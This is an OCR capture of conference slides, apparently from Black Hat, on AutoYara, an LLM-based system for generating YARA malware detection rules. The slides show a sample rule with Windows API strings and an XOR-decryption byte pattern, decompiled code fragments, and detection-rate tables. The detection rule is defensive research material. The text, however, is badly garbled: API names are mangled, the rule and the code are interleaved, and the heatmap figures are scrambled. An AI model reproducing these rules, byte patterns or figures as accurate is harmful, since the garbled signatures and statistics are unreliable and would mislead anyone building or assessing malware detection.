1lm_detail: This function implements XOR encryption/decryption operations,

rule Rule_Win32_Oberal_A_1
performing byte-by-byte XOR on the data for encryption or decryption. This is

{ a common method used in dynamic decryption.

meta: feat:
cover_family = "Win32_0b« {
family_sample_cnt = "320' s ta i e 7
black_samples_cnt = "320' "size": "8",

"comment": "Core operation for XOR encryption/decryption"

Strings: iunc_content:
$pl = "CreateMutexA" asc ,x 9 0x401d10 */ _BYTE %_ stdcall sub_401D10(_BYTE *al, int a2, _BYTE *a3,
$p2 = "CreateToolhelp32Si int a4)
$p3 = "FindFirstFileA" a: ...
$p4 = "GetlLastError" asc /* 15 0x401d67 =/ do
$p5 = "GetModuleFileNameA/* 18 A/

. /* 17 0x401d39 x/ LOBYTE(result) = v10 ~ %v6;

$p6 = "GetSyStelereCtorjl* 18 0x401d3c */ v9 = result;
$p7 = "GetWindowsDirecto ,« 19 ox401d44 x/ V8 = ¥++vll;
$p8 = "Process32First" a: /x 20 0x401d4d */ if ( vl11l == &a3[a4] )
$p9 = "Process32Next" as: /* 21 */ {
$p1@ = "RegCreateKeyA" a1/>|< 22 0x401d52 x/ vll = a3;
$pll = "RegOpenKeyExA" a:/I ;Z gx4p1ds8 I; } LAREE
$p1l2 = "RegSetValueExA" _ a.
$pl13 = "SHGetSpecialFoldeﬁ‘FazshAgxgoslgsiz w:c/ie v = Ve LLM DYara
$pl4 = "ShellExecuteA" ascii wide
$p15 = {8A06463245?75056FF45??8B75??8A06468B5D??395D??757?8B55??7895577?
8B75778A06} // xor_dynamic_decrypt

condition:
all of ($px)

Th
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ion Result of Malware from AutoYara

Detection Rate Heatmap for Top 30 Virus Families

baldr 100 087 100 078 070 10
baofa - 0.36
b
oonju
H M darkvnc - 0.50 1
Tota I F a m I I I eS : 24 dragonmess 092 0.62 066 038 033 08
eror - 02 042 054 050
sy - : 020 .
. . jongiti - 053 . 1.00
Samples in Train Set: 2,162 oo - - :
k] navattle 085 0.92 092
E nezchi 1.00 1.00 1.00
) S dympidestoyer 075 0ss
. 2 phds 1.00 } 1.00 1.00
Samples in Test Samples: 230 £ e
pikachu 1.00 1.00 083
plurox 0.00 0.00 . 0.00
. potukorp 0.87 1.00 093
Total Samples: 2,392 o i ,
subroate - 0.40 1.00 040 02
wininf 088 1.00 1.00
wuca 0.90 1.00 ] 020
Xpantispyware 1.00 . 0.62 . 031
zcash - 067 066 1.00 097 1.00 1.00 oo

Average Detection Rate Comparison by Tools
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AUTOYARA Training vs Test Set Detection Rate

Training Avg: 0.837
Test Avg: 0.653
Difference: 0.184
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Rule Generation Result of Malware from AutoYara

* False positive info On 2.3 million benign samples

yargen Top 10 False Positive Rules autoyara Top 10 False Positive Rules
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(-] Alibaba Cloud

Contact Us

If you have any question:

Xiaochen Wang wangxiaochen.wxc@alibaba-inc.com

Yiping Liu liuyiping.lyp@alibaba-inc.com

Alibaba Cloud Malicious File Detection Platform

https://ti.aliyun.com/#/overview

1. Binary / Webshell / Malicious Script Detection
2. Cloud Sandbox


https://ti.aliyun.com/#/overview
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Black Hat Sound Bytes

1. Automated Explainable Rule Generation Solution.
2. Binary Program Feature Engineering Experience.

3. Using LLM for Binary Program Analysis.
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